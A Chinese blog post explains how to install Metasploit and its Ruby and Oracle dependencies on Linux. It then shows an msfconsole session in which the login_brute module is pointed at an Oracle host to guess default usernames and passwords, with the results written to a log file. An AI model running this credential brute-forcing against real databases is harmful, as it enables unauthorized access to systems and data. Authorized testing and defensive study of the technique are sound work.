`
wuhuizhong
  • 浏览: 681184 次
  • 性别: Icon_minigender_1
  • 来自: 中山
社区版块
存档分类
最新评论

Linux下安装Metasploit破解Oracle登录用户名密码

    博客分类:
  • ROR
阅读更多

Metasploit是一个很好的攻击工具包,当然我们这次不是介绍这个工具包的,主要是大牛MC写 了很多oracle的工具,在最近会经常用。我主要会用到经典工具tnscmd移植到MSF中的小工具(不如pl的好用,没换行,看结果很 累),sid_brute和login_brute,用的最多的还是暴力破解oracle用户名和密码的login_brute。下面就说下怎么安装和使 用,主要是安装,因为有些需要注意的东西,请注意斜体字。

1、先装gcc编译环境 (我用的server比较惨,最小安装,系统也老,FC2。)

rpm -ivh cpp-3.3.3-7.i386.rpm 
rpm -ivh glibc-kernheaders-2.4-8.44.i386.rpm
rpm -ivh glibc-headers-2.3.3-27.i386.rpm
rpm -ivh glibc-devel-2.3.3-27.i386.rpm
rpm -ivh binutils-2.15.90.0.3-5.i386.rpm
rpm -ivh gcc-3.3.3-7.i386.rpm

2、安装oracle客户端

下载:http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html
rpm包安装比较省事,当然你也可以下载压缩包安装,按照说明来装即可。

rpm -ivh oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm oracle- instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm

装完后,执行下面2条命令,同时设置在环境变量里,加入到/etc/profile最后即可:

LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib/
export LD_LIBRARY_PATH

3、装ruby

下载:http://www.ruby-lang.org/en/downloads/

tar zxvf ruby-1.8.5-p231.tar.bz2   #(这个注意下,不要装1.9的版本,否则会出现MSF不能读CSV文件的问题,报NameError uninitialized constant CSV::Reader错误)
cd ruby-1.8.5-p231
./configure 
make && make install

4、装ruby-oci8

安装说明:http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html
下载:http://rubyforge.org/projects/ruby-oci8/
这个ruby-oci8-1.0.6版本或者 ruby-oci8-2.0.0都可以。
安装前要确认环境变量,即sqlplus能正常运行就可:
LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.3/client/lib
export LD_LIBRARY_PATH

tar zxvf ruby-oci8-2.0.0.tar.gz
cd ruby-oci8-2.0.0
make
make install

5、装ruby-dbi

下载:http://rubyforge.org/frs/?group_id=234
用dbi-0.2.2,一定不要新过这个版本,否则MSF会报“The dbi module is not available!”错误。

cd dbi-0.2.2
ruby setup.rb config --with=dbi,dbd_oracle  #(--with=dbi,dbd_oracle这个参数一定要,否则还是报dbi错误)
ruby setup.rb setup
ruby setup.rb install

6、下载安装使用MSF

svn co http://metasploit.com/svn/framework3/trunk/ ./
./msfconsole

如果msf报错缺少openssl、zlib、gem,则需要先装下。

rpm -ivh openssl-devel-0.9.7a-35.i386.rpm 
cd ruby-1.8.5-p231/ext/openssl
ruby extconf.rb
make
make install

装zlib

cd ruby-1.8.5-p231/ext/zlib
ruby extconf.rb
make
make install

装gem

tar zxvf rubygems-1.3.1.tgz
cd rubygems-1.3.1
ruby setup.rb all

一切ok就可以运行了(如果还缺别的按要求装上,用gem安装ruby模块很方便):

msf > use auxiliary/admin/oracle/login_brute
msf auxiliary(login_brute) > set RHOST 192.168.0.11
RHOST => 192.168.0.11
msf auxiliary(login_brute) > set SID oracle
SID => oracle
msf auxiliary(login_brute) > info

    Name: Oracle brute forcer for known default accounts.
    Version: 6876
    License: Metasploit Framework License (BSD)

Provided by:
  MC <mc@metasploit.com>

Basic options:
  Name     Current Setting                                             Required  Description
  ----           ---------------                                                    --------  -----------
  CSVFILE  /root/msf3/data/wordlists/oracle_default_passwords.csv      no        The file that contains a list of default accounts.
  RHOST    192.168.0.11                                               yes       The Oracle host.
  RPORT    1521                                                              yes       The TNS port.
  SID            oracle                                                           yes       The sid to authenticate with.

Description:
  This module uses a list of well known authentication credentials for 
  bruteforcing the TNS service. A log file of discoverd credentials 
  can be found in ./data/wordlists/oracle_default_found.log.

References:
https://www.metasploit.com/users/mc
http://www.petefinnigan.com/default/oracle_default_passwords.csv
msf auxiliary(login_brute) > run

破解结果会存在MSF目录下data/wordlists/oracle_default_found.log文件里面。

出处:http://blog.vfocus.net

分享到:
评论

相关推荐

    第六课 使用Metasploit 各类密码破解(实战破解MySQL)

    第六课 使用Metasploit 各类密码破解(实战破解MySQL)

    linux版Metasploit

    linux版Metasploit,支持各个linux发行版本,一键安装,一键日穿内网

    MetaSploit终端下PostgreSQL数据库的使用

    本文将详细介绍如何在Kali Linux环境下安装配置PostgreSQL,并通过MetaSploit框架进行数据库操作。 #### 安装与配置PostgreSQL 1. **安装PostgreSQL**: 在Kali Linux中可以通过`apt-get`命令来安装PostgreSQL...

    Metasploit 渗透测试软件 Linux平台最新安装版

    Metasploit 渗透测试软件 Linux平台最新安装版 Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以...

    Metasploit 安装方法.pdf

    Metasploit 安装方法 Metasploit 是一个流行的渗透测试框架,旨在帮助安全专业人员和研究人员自动化攻击和渗透测试过程。下面是 Metasploit 安装方法的详细步骤: 1. 下载 Metasploit 框架 首先,您需要从官方...

    0x09.第九课 Metasploit生成linux木马并尝试提权.pdf

    ### Metasploit生成Linux木马并尝试提权 #### 一、课程背景与目标 本课程旨在通过实际操作,向学员展示如何利用Metasploit框架生成Linux木马,并尝试进行权限提升的过程。通过本课程的学习,学员将能够掌握以下...

    Kali Linux安装教程.7z

    移除安装媒介,然后使用设定的用户名和密码登录新安装的Kali Linux系统。 **四、补充资源** 1. 视频教程:“20180210_182300.mp4”可能是一个关于Kali Linux安装过程的视频,观看可以帮助你更直观地了解每个步骤。 ...

    Metasploit

    4. **Auxiliary模块**:这些模块用于执行非直接攻击的任务,如扫描、信息收集、密码破解等,它们在渗透测试中起到辅助作用。 5. **Post-exploitation**:攻击成功后,如何进一步控制和利用目标系统是post-...

    Metasploit教程

    Metasploit教程Metasploit教程Metasploit教程Metasploit教程

    Linux下安装Nessus与nexpose以及简单的使用.pd

    根据给定的文件信息,我们将深入探讨在Linux环境下安装与使用Nessus及nexpose的过程,同时简要提及如何将其与Metasploit框架结合使用。本文将分为三个主要部分进行阐述: ### 第一部分:Nessus的安装与使用 #### ...

    metasploit4.2安装程序part4

    metasploit4.2安装程序,强大的漏洞检测工具,方便大家学习使用,把扩展名.wqy去掉再解压

    kali-linux 工具Metasploit离线式攻击使用教程

    在IT安全领域,Kali Linux是一款著名的开源渗透测试操作系统,其中包含了各种安全工具,而Metasploit则是其中的重要组件之一,主要用于进行安全漏洞利用和红队演练。本教程将聚焦于Metasploit的离线攻击使用方法,这...

    十二、VMware Workstation环境安装以及Kali Linux虚拟机安装运行教程

    6. **设置用户**:在创建用户阶段,为Kali Linux创建一个用户名(例如“kali”),并设置相应的密码(同样设为“kali”)。 7. **完成安装并登录**:安装完成后,虚拟机将自动重启。用之前创建的用户名和密码(...

    metasploit4.2安装程序

    metasploit4.2安装程序,强大的漏洞检测工具,方便大家学习使用

    metasploit

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序...

    在Windows上安装Metasploit Framework 3.7.1出现问题及解决方法

    。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

    Metasploit 3.7.0 and Armitage with postgresql support.doc

    然后,需要安装 Metasploit 框架,下载并安装 framework-3.7.0-linux-mini.run,使用 chmod 命令赋予执行权限,并执行安装程序。 在安装完成后,需要更新 Metasploit 数据库,使用 msfupdate 命令来更新数据库。 ...

    MetaSploit渗透攻击平台

    在BT5(BackTrack 5)这样的Linux发行版下安装MetaSploit相对简单。通常情况下,可以通过以下步骤进行安装: 1. **下载并安装Ruby环境**:MetaSploit基于Ruby语言编写,因此首先需要确保系统中已经安装了Ruby。 2...

Global site tag (gtag.js) - Google Analytics